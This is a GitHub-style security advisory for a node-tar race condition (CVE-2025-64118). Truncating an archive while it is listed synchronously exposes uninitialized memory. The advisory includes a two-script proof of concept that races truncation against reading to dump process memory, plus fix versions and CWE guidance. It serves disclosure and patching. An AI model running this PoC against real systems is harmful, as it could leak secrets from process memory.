Skip to content

GHSA-29xp-372q-xqph CVE-2025-64118

node-tar has a race condition leading to uninitialized memory exposure

Medium npm
Severity
0.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.13%
Chance of exploitation in the next 30 days. Higher than 2.92% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Fix
7.5.2
Upgrade tar to this version or later

Description

Summary

Using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read.

Details

See:

PoC

A:

import * as tar from 'tar'
import fs from 'node:fs'

fs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024))

// from readme
const filesAdded = []
tar.c(
  {
    sync: true,
    file: 'tar.test.tmp.tar',
    onWriteEntry(entry) {
      // initially, it's uppercase and 0o644
      console.log('adding', entry.path, entry.stat.mode.toString(8))
      // make all the paths lowercase
      entry.path = entry.path.toLowerCase()
      // make the entry executable
      entry.stat.mode = 0o755
      // in the archive, it's lowercase and 0o755
      filesAdded.push([entry.path, entry.stat.mode.toString(8)])
    },
  },
  ['./tar.test.tmp'],
)

const a = fs.readFileSync('tar.test.tmp.tar')

for (let i = 0; ; i++){
  if (i % 10000 === 0) console.log(i)
  fs.writeFileSync('tar.test.tmp.tar', a)
  fs.truncateSync('tar.test.tmp.tar', 600)
}

B (vulnerable):

import * as tar from 'tar'
import * as fs from 'fs'

while (true) {
  fs.readFileSync(import.meta.filename)
  tar.t({
    sync: true,
    file: 'tar.test.tmp.tar',
    onReadEntry: e => e.on('data', b => {
      const a = b.filter(x => x)
      if (a.length > 0) console.log(a.toString())
    })
  })
}

Run A and B in parallel on Node.js 22 or >=25.1.0

Dumps B memory (wait for some time to observe text data)

Impact

Exposes process memory and could result in e.g. unintentionally (aka attacker-controlled) attempting to process sensitive data rather than tar entry contents. Uninitialized memory can contain unrelated file contents, environment variables, passwords, etc.

To execute, an attacker must reduce the file size to boundary between a tar header and body block, in the time between when the tar archive file size is read via stat, and the time when the tar archive parser reaches the entry that is truncated. If the file is truncated at a different boundary, then the uninitialized data will very likely not be a valid tar entry, causing the parser to treat the entry as a damaged archive (that is, throwing an error in strict: true mode, or by default, skipping the entry harmlessly).

This is conditional on using the sync: true option to the tar.list/tar.t method, and the 7.5.1 version specifically. Earlier versions were not affected.

This is also conditional to attacker being able to truncate (or induce a truncation/replacement) of a file on disk (e.g. in cache).

If the tar file is initially larger than the opt.maxReadSize (16kb by default), then uninitialized memory is not exposed to user code, and instead the program enters an infinite loop, causing a DoS rather than an information disclosure vulnerability.

By default, tar.list does not process tar archive entry body content. So, this is further conditional on the user code doing something with the tar entry file contents in an onReadEntry method which would expose the file contents (for example, attempting to parse them in such a way that the uninitialized data could appear in an error message).

Other methods in this library (tar.extract, etc.) are not affected by this vulnerability.

Affected versions

npm

PackageVulnerableFixed in
tar
>= 7.5.1, < 7.5.2
7.5.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

tar npm → 7.5.2

npm
npm install tar@7.5.2
yarn
yarn add tar@7.5.2
pnpm
pnpm add tar@7.5.2

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:H/VI:L/VA:L/SC:H/SI:H/SA:H

Attack vector
Local
Attack complexity
High
Attack requirements
Present
Privileges required
Low
User interaction
Passive
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
Low
Availability (vulnerable system)
Low
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
High
Availability (subsequent systems)
High

Weakness

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

How to prevent it
  • Architecture and Design: In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.
  • Architecture and Design: Use thread-safe capabilities such as the data access abstraction in Spring.
  • Architecture and Design: Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring. Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).
  • Implementation: When using multithreading and operating on shared variables, only use thread-safe functions.
  • Implementation: Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.
  • Implementation: Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.
  • Implementation: Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.
  • Implementation: Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.
  • Implementation: Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-r292-9mhp-454m
node-tar: Uncontrolled recursion in mapHas/filesFilter allows uncatchable stack-overflow DoS via crafted long-path tar with member selection
High Also affects tar
GHSA-gvwx-54wh-qm9j
node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records
Medium Also affects tar
GHSA-8x88-c5mf-7j5w
node-tar: Negative tar entry size causes infinite loop in archive replace
High Also affects tar
GHSA-23hp-3jrh-7fpw
node-tar: Decompression/parse DoS via unlimited input
High Also affects tar
GHSA-w8wr-v893-vjvp
node-tar: Process crash via PAX numeric path type confusion
High Also affects tar
GHSA-vmf3-w455-68vh
node-tar applies PAX size override to intermediary GNU long-name/long-link headers, causing tar parser interpretation differential (file smuggling)
Medium Also affects tar
GHSA-9ppj-qmqm-q256
node-tar Symlink Path Traversal via Drive-Relative Linkpath
Medium Also affects tar
GHSA-qffp-2rhf-9h96
tar has Hardlink Path Traversal via Drive-Relative Linkpath
Medium Also affects tar
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor